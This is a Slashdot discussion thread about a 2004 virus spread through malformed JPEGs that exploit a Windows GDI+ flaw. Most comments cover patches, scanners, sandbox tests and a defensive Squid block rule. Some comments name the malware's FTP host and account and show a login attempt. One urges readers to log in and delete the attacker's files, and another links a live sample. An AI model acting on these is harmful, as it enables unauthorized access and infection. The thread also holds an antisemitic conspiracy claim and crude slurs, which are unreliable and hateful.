      Most "personal firewalls" manage to get an application name from somewhere. I'm assuming it comes from the product name in the executable image, which seems a bit daft since another program could easily pretend to be Internet Explorer, but I guess the same could be said for calling your malware iexplore.exe or, for Mac, InternetExplorer.

  91. I'll say it again. . . by Fantastic+Lad · · Score: 2, Insightful
    Quietly this time. . .

    Interesting that this virus, which has been in the wings and known of by select groups for years now, should at this time be given lots of promotion, (a few virus releases and big, loud press attention like a freekin' summer movie advertising run), right when the most important US election in the history of mankind is gearing up.

    Having people scared out of the public places so that they can't discuss the events which are about to unfold. . ?

    And some dorks still laugh at me and say I'm a paranoid conspiracy nut.

    --Goodness! Well, if conspiracies don't exist, why are there laws like, 'Conspiracy to commit _____' on the books? And who but the lying psychos in government are better suited to pulling such stunts? Only a nut would actually lower his/her guard over the next couple of months!

    Count on this: If any 'terrorism' happens in the next 5 weeks, you can be sure it will have been be aided and abetted by the US and/or Israeli secret services.

    Not that you'll be able to talk about it on-line, what with all the scary viruses and all!

    Buckle up, kids. This stretch of road is about to get bumpy.


    -FL

    1. Re:I'll say it again. . . by kryptkpr · · Score: 0, Troll

      Where are modpoints when you need them.. this is the biggest piece of flaimbait I've ever seen.

      You ARE a paranoid conspiracy nut.

      You're also a fucking anti-semite.. "look a virus came out, it must be the Israeli secret service"

      --
      DJ kRYPT's Free MP3s!
    2. Re:I'll say it again. . . by El_Smack · · Score: 1

      +5 Insightful? +5 Troll, or +5 Retard, or even +5 Also Posts On alt.drugs.hard, but not +5 Insightful.

      --


      There are 01 kinds of cars in the world. The General Lee, and everything else.
    3. Re:I'll say it again. . . by poot_rootbeer · · Score: 1

      Having people scared out of the public places so that they can't discuss the events which are about to unfold. . ?

      Y'know, I think a potentially devastating computer virus would actually make people more likely to turn their computers off, and go out to those public places.

      And some dorks still laugh at me and say I'm a paranoid conspiracy nut.

      LOL! You're a paranoid conspiracy nut!

      Well, if conspiracies don't exist, why are there laws like, 'Conspiracy to commit _____' on the books?

      There are such things as conspiracies. There is no such thing as The Conspiracy. The former requires the cooperation of several people; the latter would require the cooperation of thousands of people, all of whom would need to be clever enough not to get caught. And People are just too Stupid for that to happen.

      Count on this: If any 'terrorism' happens in the next 5 weeks, you can be sure it will have been be aided and abetted by the US and/or Israeli secret services.

      CUCKOO CUCKOO CUCKOO CUCKOO CUCKOO CUCKOO
      CUCKOO CUCKOO CUCKOO CUCKOO CUCKOO CUCKOO

      Shame on anybody who modded up this fanatic as "Insightful"!

    4. Re:I'll say it again. . . by Anonymous Coward · · Score: 0

      The fact that this got modded to +5 Insightful is the biggest condemnation of the /. crowd ever!

      I mean if all the rabid anti-MS foaming (99% of the time completely made up) wasn't bad enough, now were about political paranoia and hate? This should have been modded troll instantly.

      WTH is going on here?

    5. Re:I'll say it again. . . by SirTalon42 · · Score: 1

      AND I HAD MOD POINTS LIKE 20 MINUTES AGO AND JUST HAD TO COMMENT ON SOMETHING!

      Blah! Okay so this is my first case of 'never having mod points when you need them' (I seem to get mod points like every other week).

    6. Re:I'll say it again. . . by SirTalon42 · · Score: 1

      "right when the most important US election in the history of mankind is gearing up."

      I should print out your comment and give it to my American Studies teacher.

      http://www.thinkgeek.com/cubegoodies/posters/despa ir/32c9/zoom/ is perfect for you.

  92. I hope this destroys the damn platform by GrahamCox · · Score: 0, Flamebait

    Much as I despise virus writers, frankly after having been forced to use Windows for the last few days, I hope this destroys the damn platform. I normally try and keep a neutral attitude to platform wars, but these last few days have really opened my eyes to just how bad Windows is. It sucks so bad, I simply cannot fathom why it is so popular. I normally use OS X, but idiosyncracies aside, Windows designers truly seem to have no clue about what makes the difference between a productivity aid and a productivity hindrance. At every step some "feature" of Windows either doesn't work, or else does too much, requiring further steps to undo some of what it did. It cannot lay text out properly half the time. Its character mapping is totally broken, with different fonts having different character mappings. I could rant on....
    Frankly, these viruses are great news for those of us who just want a bit more balance in the marketplace. I'm fed up with having to apologise for being a minority Mac user - fuck it, Macs let me get my work done, no fuss, no frustration, no stress, and no bad temper which makes me post rants to slashdot!! Windows users - piss off and call me back when your platform of "choice" is fixed. That's all.

  93. Great, just what we need! by Pig+Hogger · · Score: 1
    This is just what we need!

    It will trojan zillions of systems, leaving them open for all sorts of havoc.

    Right before the US presidential election, a time where terrorists worldwide are feverishingly searching for a huge american backdoor. Expect DDOS against the most "important" croporate servers.

    All this thanks to programmers fuckingly stupid enough to use a low-enough level language that is rife with buffer overflows and to their managers for allowing them to turn-out such sloppy products.

    Hopefully this will be the straw that breaks the camel's back, and will cause massive interrogation of the "wisdom" of using Microsoft products and raise the awareness about alternatives.

    1. Re:Great, just what we need! by brainiac · · Score: 1

      Or....

      Back in the early 1990's Gates didn't jump on the internet bandwagon and wanted MSN to dominate the networked computer world. This was around the time he started buying boatloads of artwork to put on MSN. I could see Microsoft saying that the internet isn't safe, but MSN is. They could control MSN to the point that viruses, spam, everything they have launched on this world would go away. So they get everyone with windows to dump the internet and come to the new improved and safe MSN. I still think that this has been their plan all along.

  94. Quick question... by bigox · · Score: 1

    Does running the apps in a non-admin account solve this problem? Only admins can install new services, right?

    1. Re:Quick question... by codepunk · · Score: 1

      For this particular one yes it would solve the problem. But say I took that code and modified it just slightly so that it did not install anything but just infected every jpg image I had access to. Now say I was a web master with a bunch of mapped drives to the web server....I think you get the idea.

      --


      Got Code?
  95. IT'S NOT A VIRUS...! by tsu+doh+nimh · · Score: 1

    ....it's a posting to an adult newsgroup, the kind that renders little thumbnails of nasty, farm animal love and other things that must not be mentioned here.

    it has no other way of spreading. you have to be either moronically inquisitive or a seriously wacked pervert to get infected with this "virus," b/c you'd have to either click on a link taking you there (and "she-males-love-it-up-the-@$$" from alt.binaries.multimedia.erotica.transsexuals" is not a best-seller) or you must be a total sicko.

    --
    ...because you never know who you're dealing with.
    1. Re:IT'S NOT A VIRUS...! by brainiac · · Score: 1

      Just wait until somebody upgrades the shell code and then dumps it into avatars on message boards. No clicking involved......

  96. Tutorial on GDI Scan to find vulnerable apps by Grinler · · Score: 2, Informative

    Bleeping Computer has a tutorial on how to use GDI Scan, offered by ISC, to find apps with the vulnerable gdiplus.dll. The tutorial can be found here:

    GDI Scan Tutorial and how to fix the GDI+ JPEG Vulnerability

    Either update those apps so they dont have the problem anymore, or do not use the app.

    1. Re:Tutorial on GDI Scan to find vulnerable apps by pe1chl · · Score: 2, Interesting

      This page refers to a download location for an updated gdiplus.dll, but the extracted file is dated 04-05-2004.
      Is that really the fixed version? Did Microsoft know about this problem for so long?

    2. Re:Tutorial on GDI Scan to find vulnerable apps by Grinler · · Score: 1

      Its definitely newer then the vulnerable gdiplus.dll's on my machine. GDIScan is reporting the version of the gdiplus.dll, and it not being vulnerable, from the redistributable package as being: 5.1.3102.1360 While the exploitable ones it sees floating around my machine are: 5.1.2600.1106

  97. Huh! cracker has been slashdotted by ManyLostPackets · · Score: 1

    I saw a weak outgoing attempt to 209.171.43.27, but nothing came back :-(

    Better role the ol' VMware snapshot back just in case.

  98. um... by Run4yourlives · · Score: 1

    im on my laptop right now which runs windows (unpatched of course) Of course? Uh, why?

  99. WTF??!?!~~!1 by Anonymous Coward · · Score: 0

    no funny mods yet? no python fans?

    1. Re:WTF??!?!~~!1 by Anonymous Coward · · Score: 0

      Everybody uses Perl.

  100. "This could possibly be the worst viruses yet!" by Anonymous Coward · · Score: 0

    Tell me again what Taco is paid for?

  101. Better GDI+ detector by Fallen+Andy · · Score: 2, Informative

    ...at isc.sans.org (internet storm center). Do
    not use the one from microsoft. It *sucks*.
    Watch dshield (like a hawk). Read www.cert.org.
    read "comp.risks" (usenet).

    and still lose too much time..

    1. Re:Better GDI+ detector by Anonymous Coward · · Score: 0

      Or just use Linux and relax with its built-in computing security.

  102. What about Clippy? by AmazingRuss · · Score: 2, Funny

    We didn't have Clippy the paperclip in 1994...those were dark times indeed. Praise be to Microsoft, for delivering anthropomorphized office supplies unto the wretched masses!

    1. Re:What about Clippy? by Jedi+Alec · · Score: 1

      just for a second there I associated the word "anthropomorphized" with Terry Pratchett and there was like this bright flash and I had to reboot my brain. Just wondering what Commander Vimes would have to say about a paperclip in the Guard...

      --

      People replying to my sig annoy me. That's why I change it all the time.
    2. Re:What about Clippy? by Anonymous Coward · · Score: 0

      "Praise be to Microsoft, for delivering anthropomorphized office supplies unto the wretched masses!"

      you just wanted to use the word "anthropomorphized"

    3. Re:What about Clippy? by ConceptJunkie · · Score: 1

      His biggest fear would probably be that Detritus would eat it.

      --
      You are in a maze of twisty little passages, all alike.
    4. Re:What about Clippy? by AmazingRuss · · Score: 1

      Thats because it makes me feel like a man.

  103. Remote admin? So what by gmerideth · · Score: 1

    If your behind any kind of firewall, and I know I'm saying *if*, then remote admin wont do you much good for remote connections unless you've got port 4899 open. If they are using a different port mapping in the registry file the it will conflict if you have another service running on that 'standard' port. Seem's pretty bad to install an app like remote admin for that purpose.

    --
    Why do overlook and oversee mean opposite things?
  104. SUS requires $2500 AU by Nailer · · Score: 1

    For a Windows server to run it on. Plus more for additional client access licenses. Which is fine if you've already spent that money.

    For the rest of us, grab WindowsUpdate Cache. Runs on Squid, the world's most popular proxy server.

  105. First Useful Colors Posted To it.slashdot.org by Anonymous Coward · · Score: 0
  106. can't login to ftp server : by _Qiang_ · · Score: 0

    damn, i want to get a free radmin and winvnc software for so long. finally i can download it from the ftp server where infected computer go download remote control app...

    argh no...

    Connected to 209.171.43.27.
    220 Ftp server ready.
    User (209.171.43.27:(none)): bawz
    331 User bawz okay, need password.
    Password:
    421 Sorry, someone is already logged in to this account.
    Login failed.

  107. GDIPlus and Jpegs by js3 · · Score: 1

    hrm being a developer who has used gdi+ before, it is not only for viewing jpegs. It does have a jpeg/gif etc viewing component to it. So just because an application uses gdiplus does not make it vulnerable. Picture viewers that depend on gdiplus (probably the built in one in winxp, word and other viewers that rely on gdiplus for jpeg viewing are vulnerable)

    I'm also curious to know if this virus works on winxp sp2. Wasn't all the fuss about sp2 the NX flag to prevent executions in case of buffer overflows?

    Or does this virus only target the unclean?

    --
    did you forget to take your meds?
    1. Re:GDIPlus and Jpegs by Korgan · · Score: 1

      Yes, without updating the .NET Framework and getting the appropriate other updates, a WinXP SP2 installation is still vulnerable. I tested it with this particular virus on a sandbox in vmware workstation and it still bit the bullet and tried to fetch the files via FTP.

      Sane thing anyone can do, as an added precaution is to limit FTP access to a set group of (power) users for now till the whole thing has been resolved properly. I also recommend that anyone who runs Windows should have a personal IDS installed along the lines of Prevx. Not just for this situation, but just as a good precaution in general. Prevx actually blocked the exploit.

  108. Microsoft-suggested workaround by hillens · · Score: 0
  109. It only infects the MSN server... by r00t · · Score: 1

    The MSN server surely has enough bandwidth
    for spamming service.

  110. OffByOne web browser is not impacted by Anonymous Coward · · Score: 0
    I tested the OffByOne web browser in Windows XP, and it doesn't appear to be impacted. For those who have never used OB1, it's one of the smallest self-executable browsers out there, and is one of many great apps you can find from http://tinyapps.org/.

    Of course, you're safe on older versions of Windows, regardless of browser, as long as you don't update IE. I knew there was a reason for adding Windows for Workgroups 3.11 to my existing setup. :)

  111. Re:The problem is... by danielrose · · Score: 1

    or do you make the upgrade keep your settings, and keep the plugin format backwards compatible?

    --
    i hate pansy republicans
  112. Google has kiddie porn by r00t · · Score: 1

    Google surely has the largest kiddie porn
    collection on the planet. Note the thumbnail
    images returned by the image search.

    1. Re:Google has kiddie porn by Anonymous Coward · · Score: 0

      Either they use a blocklist or they have a team of highly trained pedophiles to remove kiddie porn from their database. Google hardly has any kiddie porn at all.

  113. I've got a workaround! by TheNarrator · · Score: 2, Funny

    The workaround is to not use any programs which require graphics. Please switch to using the command prompt for all applications until a patch has been made. Edlin is the recommended editor for security minded users. Now Microsoft just needs to post documentation on how to edit microsoft word format docs via binary editing in edlin and we'll be back to normal!

    1. Re:I've got a workaround! by Jugalator · · Score: 1

      Yeah, and finally the Windows port of Lynx will gain some market share!

      --
      Beware: In C++, your friends can see your privates!
    2. Re:I've got a workaround! by Council · · Score: 1

      I googled it, and indeed someone has created Quake: Text Mode. There's also Unreal Tournament.

      --
      xkcd.com - a webcomic of mathematics, love, and language.
  114. How do they reencode? by SuperKendall · · Score: 3, Interesting

    MSN reencodes all images to PNG

    That brings to mind the question of if the reader on the server is using a standard library that might have buffer exploits, so that you could alter the server to start feeding out PNG's with viruses (assuming a similar attack could be found in the PNG reader in windows, not sure if that's true or not).

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  115. It's more like, What has M$ done since Windows 95? by Anonymous Coward · · Score: 0

    I mean seriously. Many of today's apps can still run on Windows 95, given the right tweaks. With a dual boot of 95 and NT, I really don't see much reason to "upgrade" any further, at least in the Windows world.

  116. Killer Spam by JuggleGeek · · Score: 1
    An exploit like this is likely to lead to some killer spam.

    Apparently some anti-virus programs catch it, but we all know that not everyone running a windows system keeps up to date spam filters. And *many* of the email programs for windows will render images, even in a preview pane. This is a huge, huge problem.

  117. Sucks to be a shemale-fan by Jugalator · · Score: 0, Flamebait

    So the virus first showed up here:

    Newsgroups: alt.binaries.multimedia.erotica.transsexuals,alt.b inaries.pictures.erotica.transexual,alt.binaries.p ictures.erotica.transexual.action,alt.binaries.pic tures.erotica.transsexual
    Subject: (Shemale-loves it up the ass.jpg (1/1)] [1/1] - Shemale loves it up the ass

    Serves the shemale-lovers right... :-)

    --
    Beware: In C++, your friends can see your privates!
  118. Mod him funny! by jcr · · Score: 1

    I'm sure that *this* time, MS's major customers will demand improvements! ...in other news, Moller will finally get his SkyCar to market, cold fusion will be proven true, and all the PHB's in the world will be canned and replaced by people with a clue.

    -jcr

    --
    The only title of honor that a tyrant can grant is "Enemy of the State."
    1. Re:Mod him funny! by DrMrLordX · · Score: 1

      I don't see how people who have a clue will be adequate replacements for my Player's Handbook. Are they professional rules lawyers or what? And do I need to feed them? I certainly hope not.

    2. Re:Mod him funny! by hal200 · · Score: 1

      Dude. You've really got to get out more. You know that big blue room in your house that is sometimes black? I've hidden a +27 Rod of Burnination in there somewhere. If you can find it, it's yours. ;)

      --

      I just want to take over the world...Why does that automatically make me EVIL?

  119. Is this based on the Independent JPEG Group lib? by fraktus · · Score: 2, Interesting


    From www.ijg.org. This library is very popular.
    And if yes, are all application linking this library subject to the vulnerability?

    If yes this will be a lot of work to update all applications.

    --
    In cyberspace nobody knows you're a cat!
  120. Poor excuse by phorm · · Score: 1

    It's up to the educated people to inform them then, or make the system safer. I've built several varieties of linux desktops, and for the mostpart the users have no idea what "root" is... as in the apps that need root access (Synaptic, apt scripts, etc) are run via sudo and everything else runs in the user level.

  121. That's no breast... by toiletsalmon · · Score: 1

    ...that's a virus!

  122. NOOOOOOO.....! by apostrophesemicolon · · Score: 1

    gone are my days of safe pr0n browsing....

  123. This is news? by WheelDweller · · Score: 0, Troll

    Sure, the delivery mechanism is a little different, but this is just another of the 60,000+ Windows viruses running in the wild. Why is this news? Don't Windows inmates just check the same places and follow the same procedures every day?

    --
    --- For a good time mail uce@ftc.gov
  124. um, no by RMH101 · · Score: 1

    unfortunately it's not quite that simple **points up**

  125. Thunderbird by zenmojodaddy · · Score: 1

    If I recall there was an image handling vulnerability in Thunderbird 0.7.3. When that came to light I updated to 0.8. Unfortunately, 0.8 ships with a bug which means that in many cases, a basic POP3 email account can't be validated properly.

    So... the current release of one of the flagship Free software projects doesn't work, but you can fix it by downgrading to an older version with a major vulnerability. Excellent!

    I submitted a story on this problem to Slashdot but hey, who wants to discuss problems with Free stuff when there's always another cheap crack to make about Microsoft, eh?

  126. i'd say it's fair by RMH101 · · Score: 1

    they've added some value: wrote a script to pick up the first publically available exploit by mining their massive usenet feed. it's fair enough they should get some publicity of the "gee, these guys are switched on, they really know their usenet" type. props to them.

  127. So what about a firefox extension to detect this? by Anonymous Coward · · Score: 0

    Surely someone could write an extension to Firefox to detect this and any other possible virii on-the-fly-as-it-is-being-loaded.

  128. admin privileges by pommiekiwifruit · · Score: 1

    I went to a conference recently where Microsoft was explaining how to get games to behave under windows - for example don't write your save files to c:\program files and don't mess around with HKEY_LOCAL_MACHINE at runtime. There were less than ten people there, most of whom were speakers. And so I notice most games (and many other packages) require to be run with admin privileges. They still think they are writing DOS games, except with a snazzy graphics library.

  129. Re:[info] Detected by CA eTrust EZ Antivirus sig 8 by wowzerwowzer · · Score: 0

    yep I just updated my CA etrust scanner too and it detects it fine, to be safe i never extracted the file from the zip archive. Glad it detected it as my server relies on Etrust. Pestpatrol seems completely useless, never detects anything, maybe I should just get rid of it.

  130. Spyware/Adware anyone? by AndyFewt · · Score: 1

    I'm just wondering how long it will take the spyware/adware people to exploit this like with one of their annoying banners. Also I expect this could also be done by the spam gangs to create more new zombies for spamming.

  131. Firefox safer. by microsopht · · Score: 1
    i understand firefox has fixed this vulnerabilty.The current version of firefox is 1.0PR.The mozilla site says the next ver will be out in late september.

    Anyone knows exact date of release.?

  132. Subject... by famebait · · Score: 1

    Someone has finally posted an exploit to Usenet.

    Let me guess: the subject was "Good Times"?

    --
    sudo ergo sum
  133. 209.171.43.27 = netfirms.com = free web hosting by roly · · Score: 0
    The IP at that link that the virus downloads the trojan files from, 209.171.43.27 belongs to netfirms.com Free/Paid web hosting with unmetered data transfer, who offers FTP for users to upload files. The account name it logs into is 'bawz', so I tried going to http://bawz.netfirms.com, which says:
    The website you have requested has been cancelled.
    Looks like they have disabled the HTML/Apache side of things on the 'bawz' account, but have left FTP open for the owner to collect their files and pack up (probably standard policy). But the trojan was using FTP, not HTTP, just then I checked and the FTP was still up. The HTTP server for account 'bawz' is on a seperate IP (still in the same /28 - 13 ips away), but that's how a lot of larger hosts configure things.

    If you wanted to, you could login and delete the trojan files as the un/pw on that page is the guys master password for adding/downloading/deleting files :). Seriously, you could do that and stop the trojan from propagating until he finds another FTP server to [ab]use.
    --
    "With Microsoft, you get Windows. With Linux, you get the full house" - unknown
  134. No update available for MS Office yet by buro9 · · Score: 2, Informative

    The GDI Scan tool from ISC reveals that after all of the latest patches for Windows and Office, I am still left with vunerable .dll files within office.

    Further... the version of the GDI redistributable on the MSDN site still includes a vunerable version of the GDI .dll dated May 2004.

    On this fully patched Windows XP system GDI Scan reveals the following information:

    Scanning Drive C:...
    C:\Program Files\Common Files\Microsoft Shared\Office10\MSO.DLL
    Version: 10.0.3501.0 -- Possibly vulnerable (Under OfficeXP only)
    C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL
    Version: 11.0.6360.0
    C:\Program Files\Common Files\Microsoft Shared\VGX\vgx.dll
    Version: 6.0.2800.1106 -- Possibly vulnerable (Win2K SP2 and SP3 w/IE6 SP1 only)
    C:\Program Files\Microsoft Office\OFFICE11\GDIPLUS.DLL
    Version: 6.0.3264.0
    C:\Program Files\Microsoft Works\GDIPLUS.DLL
    Version: 5.1.3102.1360
    C:\WINDOWS\$NtUninstallKB833998$\sx s.dll
    Version: 5.1.2600.1106 -- Possibly vulnerable (Backup for uninstall purposes)
    C:\WINDOWS\$NtUninstallKB839645$\sxs.dl l
    Version: 5.1.2600.1336 -- Possibly vulnerable (Backup for uninstall purposes)
    C:\WINDOWS\system32\dllcache\sxs.dll
    Version: 5.1.2600.1515
    C:\WINDOWS\system32\dllcache\vgx.dl l
    Version: 6.0.2800.1106 -- Possibly vulnerable (Win2K SP2 and SP3 w/IE6 SP1 only)
    C:\WINDOWS\system32\sxs.dll
    Version: 5.1.2600.1515
    C:\WINDOWS\WinSxS\x86_Microsoft.Win dows.GdiPlus_65 95b64144ccf1df_1.0.0.0_x-ww_8d353f13\GdiPlus.dll
    Version: 5.1.3097.0 -- Possibly vulnerable (Windows Side-By-Side DLL)
    C:\WINDOWS\WinSxS\x86_Microsoft.Windows.GdiP lus_65 95b64144ccf1df_1.0.10.0_x-ww_712befd8\GdiPlus.dll
    Version: 5.1.3101.0 -- Possibly vulnerable (Windows Side-By-Side DLL)
    C:\WINDOWS\WinSxS\x86_Microsoft.Windows.GdiP lus_65 95b64144ccf1df_1.0.2600.1360_x-ww_24a2ed47\GdiPlus .dll
    Version: 5.1.3102.1360
    Scan Complete.

    What you can do now to limit the spread:
    * Update all of your virus checkers and make sure that they are fully active (auto, not just on-demand).
    * Disable images in your email applications, just use text only.
    * Switch your primary browser to Firefox or another browser whose latest version is immune from this specific attack. If you have to still use IE, then do so only for sites you truly trust.

  135. They knew. by Anonymous Coward · · Score: 0

    It looks like Microsoft have always knew this exploit existed from at least IE version 4. If you look carefully, you'll see they even implemented a fix for it;

    M$ Internet Explorer -> Tools Menu Option -> Internet Options... -> Advanced Tab -> Mulitmedia -> Show Pictures Check Box

    JE.

    1. Re:They knew. by WWE-TicK · · Score: 1

      Mosaic always had the option to not display images. All graphical web browsers have this option.

    2. Re:They knew. by kaligraphic · · Score: 1

      Does this mean that lynx is still vulnerable?

      --
      You are standing in an open server west of a blue house, with a boarded front door. There is an Exchange mailbox here.
  136. Beware! by spb_nick · · Score: 1
    I have ClamAV version 0.75-1, with updated databases, and it doesn't detect it:
    $ clamscan possibleVirus.jpg
    possibleVirus.jpg: OK

    ----------- SCAN SUMMARY -----------
    Known viruses: 24120
    Scanned directories: 0
    Scanned files: 1
    Infected files: 0
    Data scanned: 0.00 MB
    I/O buffer size: 131072 bytes
    Time: 30.526 sec (0 m 30 s)

    $ clamscan -V
    clamscan / ClamAV version 0.75-1
    1. Re:Beware! by SirTalon42 · · Score: 1

      His knows 487 more viruses than yours does.

  137. Too see how it works... by barnaclebarnes · · Score: 1

    Just click on this link:

    http://www.easynews.com/virus.jpg ;-)

    --
    [Please type your sig here.]
  138. they're poisoning USEnet? by chegosaurus · · Score: 1

    What's the world coming to when a man can't even trust his primary source of illegally and anonymously redistributed leeched fetish porn?

    These people make me sick.

  139. app not working != app vulnerable to virus by sczimme · · Score: 4, Insightful


    * Eye of Gnome seemed to work okay, but I got all sorts of weird redraw problems when I tried to resize the window.
    * Gimp (2.1) says the JPEG is unsupported and couldn't be imported by the filter, then segfaults.
    * Konqueror seems to work okay, but just shows a tall black rectangle, and its spinner is still chugging away, as if it's still busy loading something.
    * Firefox 0.9.3 has no troubles at all; it just shows a nice white rectangle on a white background

    These programs are not vulnerable to the the exploit in the same way that Windows machines are vulnerable. In fact, the issues you saw appear to be in no way related to the intended result of the virus. GIMP's segfault seems to be the most serious of these, and it is still a minor problem. I believe all of your results can be achieved by opening a mangled/corrupted .jpg; the exploit code is irrelevant.

    Nutshell: One cannot conclude that graphics-related processes/apps on Linux machines are vulnerable to this virus.

    PS Conclusions posited based on "unprofessional research and wild conjectures" are likely to cause much more harm than good. Is this really necessary? (not a flame - just an observation)

    --
    I want to drag this out as long as possible. Bring me my protractor.
    1. Re:app not working != app vulnerable to virus by ajs · · Score: 4, Insightful

      I don't think the poster was saying "these programs are vulnerable to this virus", but rather, "these programs seem to be vulnerable to a similar class of exploit"

      Certainly Gimp's segfault points to some sort of bounds-checking problem, and is likely exploitable. NO application should load this image for display. Bounds checking during load should throw an exception (or the equivalent error status for C) for the image and the application should report that the image is corrupt. Under no circumstances should a low-level library be handing this image data further up the chain.

    2. Re:app not working != app vulnerable to virus by slashdot_punk · · Score: 0

      I think you're a spaz. OH yes... this is slashdot... home of the melodramatic and over-reacting...

      --


      I reset my case.
    3. Re:app not working != app vulnerable to virus by rjshields · · Score: 2, Insightful

      You make it sound like there's a possibilty this exploit might work under one of the afore mentioned softwares' image processing libraries.

      This exploit was designed to work under microsoft code, so the chances of it working under any other image processing code are slim to none, unless some other programmer has coincidentally designed their code in precisely the same way and made exactly the same mistake.

      Sorry, but this should be obvious.

      --
      In this world nothing is certain but death, taxes and flawed car analogies.
    4. Re:app not working != app vulnerable to virus by sczimme · · Score: 1


      You make it sound like there's a possibilty this exploit might work under one of the afore mentioned softwares' image processing libraries.

      How exactly did I do that??? What part of

      One cannot conclude that graphics-related processes/apps on Linux machines are vulnerable to this virus

      gave you that impression??

      --
      I want to drag this out as long as possible. Bring me my protractor.
    5. Re:app not working != app vulnerable to virus by Aidtopia · · Score: 1
      NO application should load this image for display. Bounds checking during load should throw an exception (or the equivalent error status for C) for the image and the application should report that the image is corrupt.

      Exactly, so even Firefox, which appears to be secure, is still doing the wrong thing. Instead of showing the images and ignoring the overflows, it should complain that these files are corrupted. Software shouldn't be stingy with information.

    6. Re:app not working != app vulnerable to virus by Paul+d'Aoust · · Score: 1

      I think your parent was actually talking about me, not you. And, in reply to that parent, naw, I didn't mean anything of the sort; I just said that, with a segfault in GIMP, it shows that these programs could possibly be exploited in the future. And anyway, I was just having fun making wild conjectures, because, after all, this is Slashdot and you're allowed to do that here ^_^

      --
      Standing at the very edge of my imagination, I peered into the inky void and realised -- I couldn't think up a new sig.
  140. Campuses without Firewalls by Anonymous Coward · · Score: 0
    I'm shocked by the standard operating procedure of our sysadmins.

    While they do have antivirus software and the ability to restore systems to a clean state on boot, they don't believe in firewalls because they "keep them from running software they need to run" on user's computers (and I quote from two sources). As a result, the computers they supply us with and that we aren't allowed to patch or fix constantly have issues.

    Any of you sysadmins out there know of a valid reason NOT to run a firewall in these days of worms and the like?

  141. Don't post the link without disclaimer by ajs · · Score: 1

    Folks, can we please not post a direct link without the disclaimer? It seems to me to be a bit beyond rude.

    For the record, here's the disclaimer (which I find silly, but that's not the point, I didn't decide to take on the exposure of hosting this thing for the researchers who will need access):

    I don't know much of Linux internals, but I don't think it is obvious that it is vulnerable just because programs can get confused by unexpected data.

    1. Re:Don't post the link without disclaimer by ajs · · Score: 1

      And for those of you scratching your heads, yes I mis-pasted. Heh. Here's the disclaimer

      The isolated file is here (BE CAREFUL - DON'T SUE ME FOR DAMAGE, I'LL COUNTER-SUE!):

      Sorry about that!

    2. Re:Don't post the link without disclaimer by crackshoe · · Score: 1

      Hey - the article says 'jpeg virus blah blah blah', and the filename is 'possibleVirus'. If that doesn't help people out, thats really a personal problem.

      --
      Don't worry - its just stigmata. Pass me a napkin and don't you dare tell my mother.
    3. Re:Don't post the link without disclaimer by tuxedobob · · Score: 1

      Uh, except that I asked for it, and it was posted as a reply to me. It also isn't clickable. I hope people don't just copy and paste links without reading the conversation to see what they are.

    4. Re:Don't post the link without disclaimer by ajs · · Score: 1

      Uh, except that I asked for it

      Yes you did, and posting the link is fine, but it would be courtious to not expose this guy and is company to extra liability by copying the disclaimer as well. The goal is to make sure that hosting this kind of thing in a controled way for research is not discouraged in the future.

      I hope people don't just copy and paste links without reading the conversation

      They will. The only thing you can do is make sure that when they look for a scape-goat, their lawyer ends up telling them that they don't have a good enough case to justify his risk because there was a disclaimer attached to the link they copied.

  142. Maybe we should modify it to install linux by Zurgutt · · Score: 1

    and be done with the problem once and forever?

    No, seriously ;)

    Or at least create one that warns victims about the hole..

    Well actually it might be good too, this will probably further hasten the fall of IE and windows.

  143. Don't answer the phone by Anonymous Coward · · Score: 0

    I hear that if you look at the jpeg, then your phone rings and you hear a voice say "seven days."

  144. This is how Bill gets the XPloders to "upgrade" by Anonymous Coward · · Score: 0

    to SP2.......... It's That simple, pimple-heads.

  145. Block all access to that particular host on proxy! by Anonymous Coward · · Score: 3, Informative
    For all admins, simply block all access to that host on your proxy/firewall.
    Be quick.

    Sample squid code:

    acl jpeg_exploit dst 209.171.43.27
    http_access deny jpeg_exploit

    Or, more reasonable:
    acl block_dsthost dst "/usr/local/squid/etc/dsthost.list"
    http_access deny block_dsthost

    and stick 209.171.43.27 into that file (and all following IPs that will use that code).

    Then use ClamAV to scan your squid-cache the next couple of days and remove infected files.

  146. broken jpegs spreading by mail also by TeVi · · Score: 1

    And I've already seen the first ones bumping into my virus scanners (which luckily have a patch for these malformed jpgs)...

  147. Re:Block all access to that particular host on pro by Anonymous Coward · · Score: 0

    Come on, mods, mod that up.
    We need to fight that _all_ as fast as possible.

  148. What is your favorite way to block ad images? by Anonymous Coward · · Score: 0

    Banner Ads and other types of ads have been getting bigger and more complicated (pop ups with video and sound), so what is your favorite way to block out ads from the internet?

    MS IE can filter out ads using the security and content options.

    Is there any better third party product that strips out banners and '1x1 pixel bugs' etc?

    1. Re:What is your favorite way to block ad images? by gregoryl · · Score: 1

      CSS file for your browser.

      For example, to block 1x1 and 0x0 pics and stuff from doubleclick in firefox, add the following CSS stuff into your $MOZILLA/chrome/userContent.css file:

      *[width="0"][height="0"],
      *[width="1"][height=" 1"],
      *[src*="*.doubleclick.net/*"] {

      display: none;
      visibility: hidden;
      }

  149. keeping a campus virus-free -- Don't allow Windows by olddotter · · Score: 1, Redundant

    Just don't allow Windows boxes on the network. Problem solved....

  150. Take action for your friends. by yourEgg · · Score: 1

    Ive taken this as a good opportunity to mail all my contacts who I know still use IE at the instance of corporate IT departments, asking them to suggest to their departments the immediate ability to install an alternative such as Firefox. Im sure many others here do something similar, but for any one who has not its situations like this which unfortunately can help us to promote a safer alternative browsing platform for all of us.

  151. Conspiracy! by Anonymous Coward · · Score: 0

    This is a conspiracy where the RIAA, the MPAA and the PPAA (P0 rn Photographers Assoc of America) have colluded in order to discredit Usenet!

    Ignore their efforts! Usenet forever!

  152. I AGREE, MOD GRANDPARENT FLAMEBAIT by JeanBaptiste · · Score: 1

    "Count on this: If any 'terrorism' happens in the next 5 weeks, you can be sure it will have been be aided and abetted by the US and/or Israeli secret services."

    uhm, WHAT?!?!?

    i agree with parent, GP is a paranoid conspiracy anti semitic nut.

  153. Days vulnerable by Anonymous Coward · · Score: 0

    We only count the "days vulnerable" between the time when Microsoft acknowledges the exploit, to the time a fix is announced.

    So. What's the days vulnerable on this one?

  154. iBook. by Anonymous Coward · · Score: 0

    Got mine ( the very same ! ) the same time.
    Great little device with an extra 512 bar it great for all the people here !.

    Okee useless post i know !.

    But good choice anyway !

    1. Re:iBook. by Anonymous Coward · · Score: 0
      Thanks for the info !

      Great !

  155. NT 3.51, thats funny. by Bill,+Shooter+of+Bul · · Score: 1

